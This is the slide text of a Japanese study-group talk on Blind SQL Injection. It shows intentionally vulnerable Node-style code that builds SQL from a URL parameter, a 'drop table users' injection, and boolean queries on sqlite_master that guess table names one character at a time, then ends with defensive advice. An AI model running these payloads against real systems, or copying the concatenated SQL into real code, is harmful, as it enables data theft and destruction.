Blind SQL Injection
脆弱性勉強会 #02
政倉 智
はじめに
- スライドは GitHub で公開しています
- Blind SQL Injection を試せるアプリも公開しています
SQL Injection とは?
app
.get('/:id', (request, response) => {
// http://localhost:3000/1 -> {request.param.id => 1}
const rows = db.get('select * from items where id = ' + request.param.id);
// 結果をウェブブラウザーに返す
});
- "http://localhost:3000/1; drop table users"
- select * from users where id = 1; drop table users
- こんな感じで SQL 文を実行できる
SQL Injection とは?
- テーブル消せるだけだから情報抜き取られないでしょ?
- update もいけるから、自分のアカウントを管理者にしたりとか
- そういうのテーブル名とかフィールド名が分からないと無理でしょ?
- SQL エラー画面を出さなければいいんじゃ?
- そのための Blind SQL Injection です!
Blind SQL Injection とは?
- SQL Injection を利用して、画面上に何らかの変化を生み出し、データベースの調査を行う方法です
- 通常通り表示されたかどうかで行う方法
- sleep を利用して実行時間を見るる方法
- 今回は前者の通常通り表示されたかどうかの方法で解説します
原理
-- SQLite3 の場合
select * from sqlite_master
- この SQL 文を実行するとテーブル名の一覧が取れる
- でも、実際には SQL Injection で、好きなクエリの結果を表示させるのは意外と難しい
select * from items where id = 1
// ~ ここから自由になるので
原理
app
.get('/tables/:id', (request, response) => {
// http://localhost:3000/tables/items -> {request.param.name => 'items'}
const rows = db.get('select * from ' + request.param.name);
// 結果をウェブブラウザーに表示する
});
- こういうのが見つかると割と余裕なんだけど...
- "http://localhost:3000/tables/sqlite_master"
- だけど、都合よく見つかることはあまりない
原理
app
.get('/:id', (request, response) => {
// http://localhost:3000/1 -> {request.param.id => 1}
const rows = db.get('select * from items where id = ' + request.param.id);
// 結果をウェブブラウザーに返す
});
- "http://localhost:3000/1"
- "http://localhost:3000/1 and 1 = 1"
- "http://localhost:3000/1 and 1 = 2"
- データがあっても、1 = 2 は偽なので表示されない
原理
select * from items where id = 1 and
(select count(*) from sqlite_master where tbl_name = 'users') > 0
-
users テーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
...> (select count(*) from sqlite_master where tbl_name = 'users') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
...> (select count(*) from sqlite_master where tbl_name = 'notexists') > 0;
sqlite>
原理
select * from items where id = 1 and
(select count(*) from sqlite_master where substr(tbl_name, 1, 1) = 'u') > 0
-
u で始まるテーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
...> (select count(*) from sqlite_master
...> where substr(tbl_name, 1, 1) = 'u') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
...> (select count(*) from sqlite_master
...> where substr(tbl_name, 1, 1) = 'n') > 0;
sqlite>
何ができるのか
- 辞書を使ってテーブル名を探すのもよし!
- 一文字ずつ探していくもよし!
- 地道だけど...
- テーブル名をリストアップする
- フィールド名をリストアップする
- もうちょっと調査して...
- 自アカウントの権限昇格とか
- 他にもいろいろできるんじゃないかな?
Blind SQL Injection
- 時間と手間はかかりそうだけど、多分改善 (?) できる
- ボットネットワークを利用すれば...
- アルゴリズムを改善すれば...
- 仮に時間がかかったとしても...
- 専用のツールがあるんで、ちょっと設定して仕掛けて寝るだけ? みたいな?
- 仕掛けて一週間後にレポートもらう感じでも十分かと
防ぐには
- とにかく SQL Injection があるコードを書かないこと
- 比較的対処がやりやすい方なので、プロジェクト開始時にルール化と徹底
- 対処が難しいところは、きちんとした体制で作る
- 一応静的コード検査ツールがあったような...
- ツールで全部拾えるわけじゃないけど、脆弱性を生み出した人が書いたところは全部あやしいよね!
防ぐには
- 脆弱性対策は「想像力は必要だけど、独創性は必要ない」
- 複雑な対策は必ず穴を生む
防ぐには
- WAF 重要!
- 怪しいリクエストをレポートさせれば、調査のための大量攻撃に気がつけるかも
- 正しく運用しないとだめだけどね!
- そろそろ「WAF なしが許されるのは小学生までだよね!」になりそう...
まとめ
- Blind SQL Injection は SQL Injection の一種で、クエリを少しずつ書き換えて画面に生じた変化で調査する方法
- テーブル名やフィールド名の調査くらいなら余裕だし、もっといろいろと調査できる
- 「テーブル名やフィールド名がバレなければ SQL Injection による攻撃が成立しない」というのはウソ
- 世の中には便利なクラッキングツールがあるよ!
- SQL Injection を生み出さないことが大事!
Blind SQL Injection
脆弱性勉強会 #02
政倉 智